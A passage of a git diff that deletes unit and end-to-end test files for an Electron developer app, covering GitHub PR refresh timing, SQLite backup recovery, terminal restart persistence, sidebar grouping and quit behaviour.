vi.advanceTimersByTimeAsync(5_000 - Date.now()) - const external = foreground(true) - await vi.advanceTimersByTimeAsync(0) - await vi.advanceTimersByTimeAsync(6_000 - Date.now()) - old.resolve({ kind: 'no-pr', fetchedAt: 6_000 }) - await expect(action).resolves.toMatchObject({ title: 'displayed' }) - expect(store.getState().prCache[candidate.cacheKey]).toMatchObject({ - fetchedAt: 500, - data: { title: 'displayed' } - }) - expect(store.getState().prRefreshStates[candidate.cacheKey]?.status).not.toBe('in-flight') - await vi.advanceTimersByTimeAsync(1_000) - fresh.resolve(found('current')) - await external - await vi.advanceTimersByTimeAsync(3_999) - expect(store.getState().prCache[candidate.cacheKey]).toMatchObject({ - fetchedAt: 500, - data: { title: 'displayed' } - }) - await vi.advanceTimersByTimeAsync(1) - expect(store.getState().prCache[candidate.cacheKey]).toMatchObject({ - fetchedAt: 7_000, - data: { title: 'current' } - }) - expect(mocks.resolve).toHaveBeenCalledTimes(2) - await vi.advanceTimersByTimeAsync(109_500) - expect(store.getState().prCache[candidate.cacheKey]).toMatchObject({ - fetchedAt: 7_000, - data: { title: 'current' } - }) - expect(mocks.resolve).toHaveBeenCalledTimes(2) -}) - -it.each([ - { duringQuota: false, retryAt: 307_000, failureAt: 7_000, remaining: 295_999 }, - { duringQuota: true, retryAt: 312_000, failureAt: 12_000, remaining: 299_999 } -])( - 'honors a later actual Retry-After error (during quota: $duringQuota)', - async ({ duringQuota, retryAt, failureAt, remaining }) => { - const { coordinator, candidate, store, foreground, found } = context - const old = Promise.withResolvers() - const fresh = Promise.withResolvers() - const observe = vi.fn() - const remove = coordinator.addPRRefreshOutcomeObserver(observe) - mocks.resolve.mockReturnValueOnce(old.promise).mockReturnValueOnce(fresh.promise) - try { - coordinator.reportVisiblePRRefreshCandidates([candidate], 1, 1) - await vi.advanceTimersByTimeAsync(0) - await vi.advanceTimersByTimeAsync(5_000 - Date.now()) - const external = foreground() - await vi.advanceTimersByTimeAsync(0) - await vi.advanceTimersByTimeAsync(6_000 - Date.now()) - old.resolve({ kind: 'no-pr', fetchedAt: 6_000 }) - await vi.advanceTimersByTimeAsync(0) - expect(store.getState().prRefreshStates[candidate.cacheKey]?.status).toBe('skipped') - const quota = Promise.withResolvers() - if (duringQuota) { - mocks.gate.mockReturnValueOnce(quota.promise) - await vi.advanceTimersByTimeAsync(6_000) - expect(mocks.gate).toHaveBeenCalledTimes(2) - } else { - await vi.advanceTimersByTimeAsync(1_000) - } - fresh.reject(new Error('HTTP 429: secondary rate limit\nRetry-After: 300')) - await expect(external).resolves.toMatchObject({ - errorType: 'rate_limited', - fetchedAt: failureAt, - retryDisabledUntil: retryAt - }) - mocks.resolve.mockImplementation(async () => found('after actual gate')) - if (duringQuota) { - quota.resolve(null) - await vi.advanceTimersByTimeAsync(0) - } else { - await vi.advanceTimersByTimeAsync(4_000) - } - expect(mocks.resolve).toHaveBeenCalledTimes(2) - expect(observe).toHaveBeenCalledTimes(1) - const { preparePRBranchRead } = - await import('../../src/main/github/client/lookup/pr-for-branch-outcome') - const prepared = await preparePRBranchRead('/repo', candidate.branch, null, null, null, { - currentHeadOid: 'head-sha' - }) - expect(prepared.cached()?.outcome).toMatchObject({ - kind: 'upstream-error', - fetchedAt: failureAt, - nextAutoRetryAt: retryAt, - retryDisabledUntil: retryAt - }) - if (duringQuota) { - expect(store.getState().prRefreshStates[candidate.cacheKey]).toMatchObject({ - status: 'error', - nextAutoRetryAt: retryAt, - retryDisabledUntil: retryAt - }) - } else { - expect(store.getState().prRefreshStates[candidate.cacheKey]?.status).toBe('skipped') - expect(store.getState().prCache[candidate.cacheKey]).toBeUndefined() - } - await vi.advanceTimersByTimeAsync(remaining) - expect(mocks.resolve).toHaveBeenCalledTimes(2) - await vi.advanceTimersByTimeAsync(1) - expect(store.getState().prCache[candidate.cacheKey]).toMatchObject({ - fetchedAt: retryAt, - data: { title: 'after actual gate' } - }) - expect(mocks.resolve).toHaveBeenCalledTimes(3) - expect(observe).toHaveBeenCalledTimes(2) - } finally { - remove() - } - } -) - -it('restores an overdue watch turn after one ordinary actual read', async () => { - const { coordinator, found } = context - vi.setSystemTime(241_000) - const starts: string[] = [] - mocks.resolve.mockImplementation(async ({ branchName }) => { - starts.push(branchName) - return found('current') - }) - const candidate = (branch: string) => - makeCandidate({ - branch, - cacheKey: `/repo::${branch}`, - currentHeadOid: 'head-sha' - }) - coordinator.schedulePRWatchRead({ prKey: 'github.com/acme/repo#1' }, candidate('watch-a'), 1_000) - coordinator.schedulePRWatchRead({ prKey: 'github.com/acme/repo#2' }, candidate('watch-b'), 2_000) - coordinator.reportVisiblePRRefreshCandidates( - [candidate('ordinary-a'), candidate('ordinary-b')], - 1, - 1 - ) - await vi.advanceTimersByTimeAsync(20_000) - expect(starts).toEqual(['watch-a', 'ordinary-a', 'watch-b']) -}) - -it('admits only the still-owned equal-sequence terminal event', () => { - const { store, candidate } = context - const aliases = [candidate] - const apply = store.getState().applyGitHubPRRefreshEvent - apply({ aliases, reason: 'active', sequence: 1, status: 'in-flight', requestStartedAt: 1_000 }) - apply({ aliases, reason: 'active', sequence: 2, status: 'in-flight', requestStartedAt: 2_000 }) - apply({ aliases, reason: 'active', sequence: 1, status: 'skipped', skippedReason: 'fresh' }) - expect(store.getState().prRefreshStates[candidate.cacheKey]?.status).toBe('in-flight') - apply({ - aliases, - reason: 'active', - sequence: 2, - outcome: { kind: 'upstream-error', errorType: 'network', fetchedAt: 3_000, message: 'offline' } - }) - apply({ aliases, reason: 'active', sequence: 2, status: 'skipped', skippedReason: 'fresh' }) - expect(store.getState().prRefreshStates[candidate.cacheKey]).toMatchObject({ - status: 'error', - message: 'offline' - }) -}) diff --git a/tests/e2e/profile-state-automatic-backup-recovery.spec.ts b/tests/e2e/profile-state-automatic-backup-recovery.spec.ts deleted file mode 100644 index 5747850f804..00000000000 --- a/tests/e2e/profile-state-automatic-backup-recovery.spec.ts +++ /dev/null @@ -1,222 +0,0 @@ -import { existsSync, readFileSync, realpathSync, rmSync, statSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import type { ElectronApplication } from '@stablyai/playwright-test' -import { DEFAULT_LOCAL_ORCA_PROFILE_ID } from '../../src/shared/orca-profiles/orca-profiles' -import { runProcess } from '@orca/process-host' -import { openProfileStateDatabaseReadOnly } from '../../src/main/persistence/profile-state/database/profile-state-database' -import { readProfileStateSnapshot } from '../../src/main/persistence/profile-state/documents/profile-state-documents' -import { profileStateDatabaseBackups } from '../../src/main/persistence/profile-state/backup/profile-state-backup-path' -import { test, expect } from './helpers/orca-app' -import { createRestartSession } from './helpers/orca-restart' -import { getE2ECompletedOnboardingProfile } from './helpers/e2e-completed-onboarding-profile' -import { createElectronHomeIsolation } from './helpers/electron-home-isolation' -import { cleanupE2EDaemons } from './helpers/electron-process-shutdown' -import { waitForSessionReady } from './helpers/store' - -function readSnapshot(databasePath: string) { - const opened = openProfileStateDatabaseReadOnly(databasePath, DEFAULT_LOCAL_ORCA_PROFILE_ID) - try { - return readProfileStateSnapshot(opened.db) - } finally { - opened.db.close() - } -} - -function rollbackProfileBackup(userDataDir: string, backupId: string, executable?: string) { - const cliIsolation = createElectronHomeIsolation({ - inheritedEnv: process.env, - launchEnv: { ORCA_USER_DATA_PATH: userDataDir, ORCA_BACKGROUND_LAUNCH: '1' }, - extraEnv: { - ...(executable - ? { ORCA_APP_EXECUTABLE: executable, ORCA_APP_EXECUTABLE_NEEDS_APP_ROOT: '1' } - : {}), - // Raw development Electron needs the same sandbox opt-out as Playwright. - ...(process.platform === 'linux' ? { ELECTRON_DISABLE_SANDBOX: '1' } : {}) - }, - userDataDir - }) - return runProcess({ - program: process.execPath, - args: [ - path.join(process.cwd(), 'out', 'cli', 'index.js'), - 'profile', - 'state', - 'rollback', - '--backup', - backupId, - '--json' - ], - env: cliIsolation.env, - timeoutMs: 30_000, - maxOutputBytes: 64 * 1024 - }) -} - -for (const recoveryRuntime of ['node', 'electron'] as const) { - // oxlint-disable-next-line no-empty-pattern -- This test owns both hidden Electron launches. - test(`restores an automatic SQLite backup through the ${recoveryRuntime} CLI after primary corruption`, async ({}, testInfo) => { - test.setTimeout(180_000) - const session = createRestartSession(testInfo, { ORCA_BACKGROUND_LAUNCH: '1' }) - const rootJson = path.join(session.userDataDir, 'orca-data.json') - const profileDirectory = path.join( - session.userDataDir, - 'profiles', - DEFAULT_LOCAL_ORCA_PROFILE_ID - ) - const databasePath = path.join(profileDirectory, 'profile-state.db') - const dataFile = path.join(profileDirectory, 'orca-data.json') - const marker = `automatic-backup-${Date.now()}` - const recoveryMarker = { - marker, - // Exercise native cloning in the Electron recovery process on macOS. - payload: recoveryRuntime === 'electron' ? 'retained recovery data'.repeat(450_000) : '' - } - const seed = getE2ECompletedOnboardingProfile() - writeFileSync( - rootJson, - JSON.stringify({ - ...seed, - settings: { ...seed.settings, terminalFontSize: 19, theme: 'light' }, - backupRecoveryMarker: recoveryMarker - }) - ) - let firstApp: ElectronApplication | null = null - let restoredApp: ElectronApplication | null = null - try { - const first = await session.launch() - firstApp = first.app - await waitForSessionReady(first.page) - expect( - await first.app.evaluate(({ BrowserWindow }) => - BrowserWindow.getAllWindows().every((window) => !window.isVisible()) - ) - ).toBe(true) - await first.page.evaluate(async () => { - const update = window.__store?.getState().updateSettingsOrThrow - if (!update) { - throw new Error('Renderer settings persistence is unavailable') - } - await update({ theme: 'dark' }) - }) - - // Only normal app writes create this recovery point; the test never calls a snapshot writer. - await expect - .poll(() => profileStateDatabaseBackups(databasePath).length, { timeout: 30_000 }) - .toBeGreaterThan(0) - const backup = profileStateDatabaseBackups(databasePath)[0] - const chosen = readSnapshot(backup.path) - expect(JSON.parse(chosen.json)).toMatchObject({ - settings: { terminalFontSize: 19 }, - backupRecoveryMarker: recoveryMarker - }) - if (recoveryRuntime === 'electron') { - expect(statSync(backup.path).size).toBeGreaterThan(8 * 1024 * 1024) - } - const backupBytes = readFileSync(backup.path) - await first.page.evaluate(async () => { - const update = window.__store?.getState().updateSettingsOrThrow - if (!update) { - throw new Error('Renderer settings persistence is unavailable') - } - await update({ terminalFontSize: 23 }) - }) - await expect - .poll(() => JSON.parse(readSnapshot(databasePath).json).settings.terminalFontSize) - .toBe(23) - expect(readFileSync(backup.path).equals(backupBytes)).toBe(true) - const beforeRefusal = readSnapshot(databasePath) - const recoveryExecutable = - recoveryRuntime === 'electron' - ? await first.app.evaluate(() => process.execPath) - : undefined - const refused = await rollbackProfileBackup( - session.userDataDir, - backup.id, - recoveryExecutable - ) - expect(refused.code).toBe(1) - expect(refused.stdout + refused.stderr).toContain( - recoveryRuntime === 'electron' ? 'Stop Orca' : 'in use' - ) - expect(readSnapshot(databasePath)).toEqual(beforeRefusal) - expect(readFileSync(backup.path).equals(backupBytes)).toBe(true) - await session.close(firstApp) - firstApp = null - await cleanupE2EDaemons(session.userDataDir) - - for (const file of [dataFile, rootJson, `${databasePath}-wal`, `${databasePath}-shm`]) { - rmSync(file, { force: true }) - } - // Preserve both large artifacts so quarantine exercises batched recovery copies. - const corruptPrimary = readFileSync(databasePath) - corruptPrimary.write('deliberately corrupt SQLite primary') - writeFileSync(databasePath, corruptPrimary) - if (recoveryRuntime === 'electron') { - expect(corruptPrimary.length).toBeGreaterThan(8 * 1024 * 1024) - } - expect(() => readSnapshot(databasePath)).toThrow() - const restored = await rollbackProfileBackup( - session.userDataDir, - backup.id, - recoveryExecutable - ) - expect(restored.code, restored.stderr || restored.stdout).toBe(0) - const recovered = JSON.parse(restored.stdout) - expect(recovered).toMatchObject({ - ok: true, - result: { - storage: 'sqlite', - backupId: backup.id, - revision: chosen.revision, - profileId: DEFAULT_LOCAL_ORCA_PROFILE_ID, - restoredPath: recoveryRuntime === 'electron' ? realpathSync(databasePath) : databasePath - } - }) - expect(readSnapshot(databasePath)).toEqual(chosen) - const quarantineDirectory: unknown = recovered.result.quarantineDirectory - if (typeof quarantineDirectory !== 'string') { - throw new Error('Recovery did not report its quarantine directory') - } - expect( - readFileSync(path.join(quarantineDirectory, 'profile-state.db')).equals(corruptPrimary) - ).toBe(true) - expect( - readFileSync(path.join(quarantineDirectory, path.basename(backup.path))).equals(backupBytes) - ).toBe(true) - expect(readFileSync(backup.path).equals(backupBytes)).toBe(true) - expect(existsSync(dataFile)).toBe(false) - - const relaunched = await session.launch() - restoredApp = relaunched.app - await waitForSessionReady(relaunched.page) - await expect - .poll(() => - relaunched.page.evaluate(() => window.__store?.getState().settings?.terminalFontSize) - ) - .toBe(19) - await expect(relaunched.page.locator('html')).toHaveClass( - JSON.parse(chosen.json).settings.theme === 'dark' ? /\bdark\b/ : /\blight\b/ - ) - expect(JSON.parse(readSnapshot(databasePath).json).backupRecoveryMarker).toEqual( - recoveryMarker - ) - expect( - await relaunched.app.evaluate(({ BrowserWindow }) => - BrowserWindow.getAllWindows().every((window) => !window.isVisible()) - ) - ).toBe(true) - expect(existsSync(dataFile)).toBe(false) - } finally { - try { - if (restoredApp) { - await session.close(restoredApp) - } - if (firstApp) { - await session.close(firstApp) - } - } finally { - await session.dispose() - } - } - }) -} diff --git a/tests/e2e/profile-state-terminal-restart-persistence.spec.ts b/tests/e2e/profile-state-terminal-restart-persistence.spec.ts deleted file mode 100644 index 582b68d113b..00000000000 --- a/tests/e2e/profile-state-terminal-restart-persistence.spec.ts +++ /dev/null @@ -1,125 +0,0 @@ -import { readFileSync, existsSync, rmSync } from 'node:fs' -import path from 'node:path' -import type { ElectronApplication } from '@stablyai/playwright-test' - -import { test, expect } from './helpers/orca-app' -import { forceQuitElectronAppForE2E } from './helpers/electron-process-shutdown' -import { createRestartSession } from './helpers/orca-restart' -import { execInTerminal, waitForTerminalOutput, waitForActivePanePtyId } from './helpers/terminal' -import { getWorktreeTabs } from './helpers/store' -import { - seededRepoPathOrSkip, - bootstrapFirstLaunch, - bootstrapRestoredLaunch -} from './helpers/terminal-restart-persistence' - -test.describe.configure({ mode: 'serial' }) - -test.describe('SQLite candidate terminal restart persistence', () => { - test('SQLite survives abrupt process termination after legacy JSON is removed', async (// oxlint-disable-next-line no-empty-pattern -- Playwright's second fixture arg is testInfo; the first must be an object destructure to opt out of the default fixture set. - {}, testInfo) => { - const repoPath = seededRepoPathOrSkip() - - const session = createRestartSession(testInfo) - const stderr: string[] = [] - const launchOptions = { - onStderr: (chunk: string): void => { - stderr.push(chunk) - } - } - let firstApp: ElectronApplication | null = null - let secondApp: ElectronApplication | null = null - - try { - const firstLaunch = await session.launch(launchOptions) - firstApp = firstLaunch.app - const { worktreeId, ptyId } = await bootstrapFirstLaunch(firstLaunch.page, repoPath) - - const profileIndex: unknown = JSON.parse( - readFileSync(path.join(session.userDataDir, 'orca-profile-index.json'), 'utf8') - ) - if ( - typeof profileIndex !== 'object' || - profileIndex === null || - Array.isArray(profileIndex) || - !('activeProfileId' in profileIndex) || - typeof profileIndex.activeProfileId !== 'string' - ) { - throw new Error('SQLite crash E2E did not find an active profile id') - } - const profileDirectory = path.join( - session.userDataDir, - 'profiles', - profileIndex.activeProfileId - ) - const legacyProfileState = path.join(profileDirectory, 'orca-data.json') - const legacyRootState = path.join(session.userDataDir, 'orca-data.json') - const databasePath = path.join(profileDirectory, 'profile-state.db') - expect(existsSync(databasePath)).toBe(true) - - // Remove JSON before the kill so only SQLite can recover terminal topology. - rmSync(legacyProfileState, { force: true }) - rmSync(legacyRootState, { force: true }) - expect(existsSync(legacyProfileState)).toBe(false) - expect(existsSync(legacyRootState)).toBe(false) - - const mainPid = await firstApp.evaluate(() => process.pid) - await forceQuitElectronAppForE2E(firstApp, { preserveDaemons: true }) - // Windows Playwright exposes a cmd wrapper; verify the actual Electron process exited. - await expect - .poll(() => { - try { - process.kill(mainPid, 0) - return false - } catch (error) { - if (error instanceof Error && 'code' in error && error.code === 'ESRCH') { - return true - } - throw error - } - }) - .toBe(true) - firstApp = null - for (const suffix of ['', '-wal', '-shm']) { - const filename = `profile-state.db${suffix}` - const filePath = path.join(profileDirectory, filename) - if (existsSync(filePath)) { - await testInfo.attach(filename, { - body: readFileSync(filePath), - contentType: 'application/octet-stream' - }) - } - } - - const secondLaunch = await session.launch(launchOptions) - secondApp = secondLaunch.app - await bootstrapRestoredLaunch(secondLaunch.page, worktreeId) - expect(existsSync(legacyProfileState)).toBe(false) - expect(existsSync(legacyRootState)).toBe(false) - // The daemon survives the crash; require the original PTY on SQLite-only restart. - await expect - .poll(() => waitForActivePanePtyId(secondLaunch.page), { timeout: 15_000 }) - .toBe(ptyId) - const ptyMarker = `SQLITE_PTY_REATTACHED_AFTER_KILL_${Date.now()}` - await execInTerminal(secondLaunch.page, ptyId, `echo ${ptyMarker}`) - await waitForTerminalOutput(secondLaunch.page, ptyMarker) - await expect - .poll(async () => (await getWorktreeTabs(secondLaunch.page, worktreeId)).length, { - timeout: 10_000 - }) - .toBeGreaterThanOrEqual(1) - } finally { - if (secondApp) { - await session.close(secondApp) - } - if (firstApp) { - await session.close(firstApp) - } - await session.dispose() - await testInfo.attach('restart-stderr', { - body: stderr.join(''), - contentType: 'text/plain' - }) - } - }) -}) diff --git a/tests/e2e/project-group-creation-visibility.spec.ts b/tests/e2e/project-group-creation-visibility.spec.ts deleted file mode 100644 index 710b201ac61..00000000000 --- a/tests/e2e/project-group-creation-visibility.spec.ts +++ /dev/null @@ -1,193 +0,0 @@ -import { cpSync, mkdirSync, mkdtempSync, realpathSync, rmSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import { test, expect } from './helpers/orca-app' -import { waitForSessionReady } from './helpers/store' -import { runProcess } from '@orca/process-host' - -test.use({ seedTestRepo: false }) - -declare global { - // Resolved by the main-process gate this spec installs around the group-create response. - var __releaseGroupCreateResponse: (() => void) | undefined -} - -for (const delayCreateResponse of [false, true]) { - test(`created groups survive sidebar expansion (${delayCreateResponse ? 'refresh first' : 'ordinary timing'})`, async ({ - orcaPage, - electronApp, - registerPostElectronShutdownCleanup - }, testInfo) => { - await waitForSessionReady(orcaPage) - const root = realpathSync(mkdtempSync(path.join(os.tmpdir(), 'orca-group-visibility-'))) - registerPostElectronShutdownCleanup(async () => { - rmSync(root, { recursive: true, force: true }) - }) - const paths = Array.from({ length: 30 }, (_, index) => - path.join(root, `repo-${String(index).padStart(2, '0')}`) - ) - const templatePath = paths[0] - if (!templatePath) { - throw new Error('Repository fixture requires a first path') - } - for (const repoPath of [templatePath]) { - mkdirSync(repoPath) - writeFileSync(path.join(repoPath, 'seed.txt'), 'seed\n') - for (const args of [ - ['init'], - ['add', '.'], - [ - '-c', - 'user.name=Test', - '-c', - 'user.email=test@example.com', - '-c', - 'commit.gpgsign=false', - 'commit', - '-m', - 'seed' - ] - ]) { - const result = await runProcess({ program: 'git', args, cwd: repoPath, timeoutMs: 10_000 }) - expect(result.code, result.stderr).toBe(0) - } - } - for (const repoPath of paths.slice(1)) { - cpSync(templatePath, repoPath, { recursive: true, force: false, errorOnExist: true }) - } - const repoIds = await orcaPage.evaluate(async (paths) => { - const store = window.__store! - for (const repoPath of paths) { - await window.api.repos.add({ path: repoPath }) - } - await store.getState().awaitLocalRepoCatalogSettlement() - const repos = store.getState().repos.filter((repo) => paths.includes(repo.path)) - for (const repo of repos) { - await store.getState().fetchWorktrees(repo.id) - } - store.getState().setGroupBy('repo') - store.getState().setProjectOrderBy('manual') - return repos.map((repo) => repo.id) - }, paths) - expect(repoIds).toHaveLength(paths.length) - - // Force the adverse ordering separately from the ordinary IPC path. - if (delayCreateResponse) { - await electronApp.evaluate(({ ipcMain }) => { - if (!('_invokeHandlers' in ipcMain) || !(ipcMain._invokeHandlers instanceof Map)) { - throw new Error('Electron invoke handlers unavailable') - } - const create = ipcMain._invokeHandlers.get('projectGroups:create') - if (typeof create !== 'function') { - throw new Error('Group create handler unavailable') - } - const gate = Promise.withResolvers() - Reflect.set(globalThis, '__releaseGroupCreateResponse', gate.resolve) - ipcMain.removeHandler('projectGroups:create') - ipcMain.handle('projectGroups:create', async (...args) => { - ipcMain.removeHandler('projectGroups:create') - ipcMain.handle('projectGroups:create', create) - const group = await create(...args) - await gate.promise - return group - }) - }) - } - const creation = orcaPage.evaluate(() => - window.__store!.getState().createProjectGroup('Crowded group', 'local') - ) - if (delayCreateResponse) { - try { - await expect - .poll(() => - orcaPage.evaluate(() => - window - .__store!.getState() - .projectGroups.some((group) => group.name === 'Crowded group') - ) - ) - .toBe(true) - } finally { - await electronApp.evaluate(() => { - const release = globalThis.__releaseGroupCreateResponse - if (typeof release !== 'function') { - throw new Error('Group create response gate unavailable') - } - release() - Reflect.deleteProperty(globalThis, '__releaseGroupCreateResponse') - }) - } - } - const createdGroup = await creation - if (!createdGroup) { - throw new Error('Group creation failed') - } - await orcaPage.evaluate( - async ({ repoIds, groupId }) => { - const store = window.__store! - for (const repoId of repoIds.slice(0, 2)) { - const repo = store.getState().repos.find((candidate) => candidate.id === repoId) - if (!repo) { - throw new Error(`Missing repo ${repoId}`) - } - await store.getState().moveProjectToGroup(repo, groupId) - } - const collapsedGroups = store - .getState() - .projectHostSetups.map((setup) => `project:${setup.projectId}`) - await window.api.ui.set({ groupBy: 'repo', collapsedGroups }) - store.setState({ collapsedGroups: new Set(collapsedGroups) }) - }, - { repoIds, groupId: createdGroup.id } - ) - - const scroller = orcaPage.locator('[data-worktree-sidebar]') - const group = scroller.locator(`[data-project-group-header-id="${createdGroup.id}"]`) - const groupedRepos = repoIds - .slice(0, 2) - .map((id) => scroller.locator(`[data-repo-header-id="${id}"]`)) - for (const repo of groupedRepos) { - await expect(repo).toBeVisible() - } - await orcaPage.screenshot({ path: testInfo.outputPath('before-expansion.png') }) - for (const repoId of repoIds.slice(2, 12)) { - const repo = scroller.locator(`[data-repo-header-id="${repoId}"]`) - await expect - .poll(async () => { - if (await repo.count()) { - return true - } - await scroller.evaluate((element) => { - element.scrollTop += element.clientHeight / 2 - }) - return false - }) - .toBe(true) - await repo.scrollIntoViewIfNeeded() - await expect(repo).toHaveAttribute('aria-expanded', 'false') - await repo.click() - await scroller.evaluate((element) => { - element.scrollTop = 0 - }) - for (const groupedRepo of groupedRepos) { - await expect(groupedRepo).toBeVisible() - } - } - await expect(group).toHaveCount(1) - await orcaPage.evaluate(() => - window - .__store!.getState() - .fetchProjectGroups({ runtimeEnvironmentId: null, throwOnError: true }) - ) - await expect(group).toHaveCount(1) - await group.click() - for (const repo of groupedRepos) { - await expect(repo).toHaveCount(0) - } - await group.click() - for (const repo of groupedRepos) { - await expect(repo).toBeVisible() - } - await orcaPage.screenshot({ path: testInfo.outputPath('after-expansion.png') }) - }) -} diff --git a/tests/e2e/pty-snapshot-capability-main-stall.spec.ts b/tests/e2e/pty-snapshot-capability-main-stall.spec.ts deleted file mode 100644 index 37b1d2c678e..00000000000 --- a/tests/e2e/pty-snapshot-capability-main-stall.spec.ts +++ /dev/null @@ -1,74 +0,0 @@ -import { expect, test } from './helpers/orca-app' - -type CapabilityProbe = { - calls: number - gapsMs: number[] - returnDurationsMs: number[] - timer: number -} - -test('PTY capability lookup keeps renderer JavaScript responsive while main is stalled', async ({ - electronApp, - orcaPage -}) => { - await orcaPage.evaluate(() => { - const getCapabilities = window.api.pty.getAuthoritativeBufferSnapshotCapabilities - if (!getCapabilities) { - throw new Error('PTY snapshot capability API is unavailable') - } - const probe: CapabilityProbe = { - calls: 0, - gapsMs: [], - returnDurationsMs: [], - timer: 0 - } - let previousTickAt = performance.now() - probe.timer = window.setInterval(() => { - const tickAt = performance.now() - probe.gapsMs.push(tickAt - previousTickAt) - previousTickAt = tickAt - const callStartedAt = performance.now() - void getCapabilities(['ssh:e2e@@pty-1']).catch(() => {}) - probe.returnDurationsMs.push(performance.now() - callStartedAt) - probe.calls += 1 - }, 50) - ;(window as typeof window & { __capabilityProbe?: CapabilityProbe }).__capabilityProbe = probe - }) - await expect - .poll(() => - orcaPage.evaluate( - () => - (window as typeof window & { __capabilityProbe?: CapabilityProbe }).__capabilityProbe - ?.calls ?? 0 - ) - ) - .toBeGreaterThan(0) - - const mainBlockedMs = await electronApp.evaluate(() => { - const startedAt = Date.now() - Atomics.wait(new Int32Array(new SharedArrayBuffer(4)), 0, 0, 1_500) - return Date.now() - startedAt - }) - const metrics = await orcaPage.evaluate(() => { - const probe = (window as typeof window & { __capabilityProbe?: CapabilityProbe }) - .__capabilityProbe - if (!probe) { - throw new Error('Capability probe missing') - } - clearInterval(probe.timer) - return { - calls: probe.calls, - maxGapMs: Math.max(...probe.gapsMs), - maxReturnDurationMs: Math.max(...probe.returnDurationsMs) - } - }) - - console.log( - `[pty-capability-main-stall] mainBlockedMs=${mainBlockedMs} calls=${metrics.calls} maxGapMs=${metrics.maxGapMs.toFixed(1)} maxReturnDurationMs=${metrics.maxReturnDurationMs.toFixed(1)}` - ) - - expect(mainBlockedMs).toBeGreaterThanOrEqual(1_400) - expect(metrics.calls).toBeGreaterThanOrEqual(10) - expect(metrics.maxGapMs).toBeLessThan(500) - expect(metrics.maxReturnDurationMs).toBeLessThan(100) -}) diff --git a/tests/e2e/quit-and-stop-all-sessions.spec.ts b/tests/e2e/quit-and-stop-all-sessions.spec.ts deleted file mode 100644 index 33f6ea56806..00000000000 --- a/tests/e2e/quit-and-stop-all-sessions.spec.ts +++ /dev/null @@ -1,127 +0,0 @@ -import { existsSync, readFileSync } from 'node:fs' -import path from 'node:path' -import type { ElectronApplication } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { TEST_REPO_PATH_FILE } from './global-setup' -import { waitForExit } from './helpers/electron-process-shutdown' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' -import { ensureTerminalVisible, waitForSessionReady } from './helpers/store' -import { - discoverActivePtyId, - execInTerminal, - getTerminalContent, - waitForActiveTerminalManager, - waitForPaneCount -} from './helpers/terminal' -import { readDaemonPidRecord } from '../../src/main/daemon/endpoint/identity/daemon-endpoint-incarnation' -import { getDaemonPidPath } from '../../src/main/daemon/launch/daemon-spawner' - -// The label is localized; the app menu gives the item a stable id. -const MENU_ITEM_ID = 'quit-and-stop-all-sessions' - -function readDaemonPid(userDataDir: string): number { - const pid = readDaemonPidRecord(getDaemonPidPath(path.join(userDataDir, 'daemon')))?.pid - if (pid === undefined) { - throw new Error('The daemon pid file is missing or unreadable') - } - return pid -} - -function isAlive(pid: number): boolean { - try { - process.kill(pid, 0) - return true - } catch { - return false - } -} - -// Why stub the dialog: the confirmation is a native message box Playwright cannot click. -async function confirmQuitAndStopAllSessionsFromMenu(app: ElectronApplication): Promise { - await app.evaluate(({ Menu, dialog }, id) => { - dialog.showMessageBox = async () => ({ response: 0, checkboxChecked: false }) - const item = Menu.getApplicationMenu()?.getMenuItemById(id) - if (!item) { - throw new Error(`${id} menu item was not registered`) - } - // The handler ignores Electron's click arguments. - item.click() - }, MENU_ITEM_ID) -} - -test('Quit Completely closes the terminal tab and ends its shell and the daemon', async (// oxlint-disable-next-line no-empty-pattern -- this test owns both Electron launches. -{}, testInfo) => { - test.skip(process.platform === 'win32', 'POSIX shell pid probe') - // Two Electron launches (quit, then relaunch) plus waits for the shell and daemon to exit. - test.setTimeout(300_000) - const repoPath = existsSync(TEST_REPO_PATH_FILE) - ? readFileSync(TEST_REPO_PATH_FILE, 'utf8').trim() - : '' - if (!repoPath || !existsSync(repoPath)) { - test.skip(true, 'Global setup did not produce a seeded test repo') - return - } - - const session = createRestartSession(testInfo) - let firstApp: ElectronApplication | null = null - let secondApp: ElectronApplication | null = null - - try { - const first = await session.launch() - firstApp = first.app - const worktreeId = await attachRepoAndOpenTerminal(first.page, repoPath) - await waitForSessionReady(first.page) - await ensureTerminalVisible(first.page) - await waitForActiveTerminalManager(first.page, 30_000) - await waitForPaneCount(first.page, 1, 30_000) - const ptyId = await discoverActivePtyId(first.page) - const tabId = await first.page.evaluate(() => window.__store?.getState().activeTabId ?? null) - expect(tabId).not.toBeNull() - - // Why the digits-only pattern: the echoed command line shows `$$`, never digits. - await execInTerminal(first.page, ptyId, 'echo STOP_ALL_SHELL_PID_$$') - const readShellPid = async (): Promise => { - const match = /STOP_ALL_SHELL_PID_(\d+)/.exec(await getTerminalContent(first.page)) - return match ? Number(match[1]) : null - } - await expect.poll(readShellPid, { timeout: 20_000 }).not.toBeNull() - const shellPid = await readShellPid() - if (shellPid === null) { - throw new Error('The shell pid vanished from the terminal buffer') - } - const daemonPid = readDaemonPid(session.userDataDir) - expect(isAlive(shellPid)).toBe(true) - expect(isAlive(daemonPid)).toBe(true) - - // Why the exit event, not a poll: session.close needs app.process(), which Playwright drops soon after exit. - const exited = waitForExit(first.app.process(), 60_000) - await confirmQuitAndStopAllSessionsFromMenu(first.app) - expect(await exited, 'Orca stayed open after Quit Completely').toBe(true) - await session.close(first.app) - firstApp = null - - await expect.poll(() => isAlive(shellPid), { timeout: 15_000 }).toBe(false) - await expect.poll(() => isAlive(daemonPid), { timeout: 15_000 }).toBe(false) - - // The worktree stays in the sidebar, but the closed terminal tab does not come back, so - // nothing resumes in it. - const second = await session.launch() - secondApp = second.app - await waitForSessionReady(second.page) - await expect( - second.page.locator(`[role="option"][data-worktree-id="${worktreeId}"]`) - ).toBeVisible({ timeout: 30_000 }) - const restoredTabIds = await second.page.evaluate( - (id) => (window.__store?.getState().tabsByWorktree[id] ?? []).map((tab) => tab.id), - worktreeId - ) - expect(restoredTabIds).not.toContain(tabId) - } finally { - for (const app of [secondApp, firstApp]) { - if (app) { - await session.close(app).catch(() => undefined) - } - } - await session.dispose() - } -}) diff --git a/tests/e2e/recipe-orca-server-file-save.spec.ts b/tests/e2e/recipe-orca-server-file-save.spec.ts deleted file mode 100644 index 220665f968a..00000000000 --- 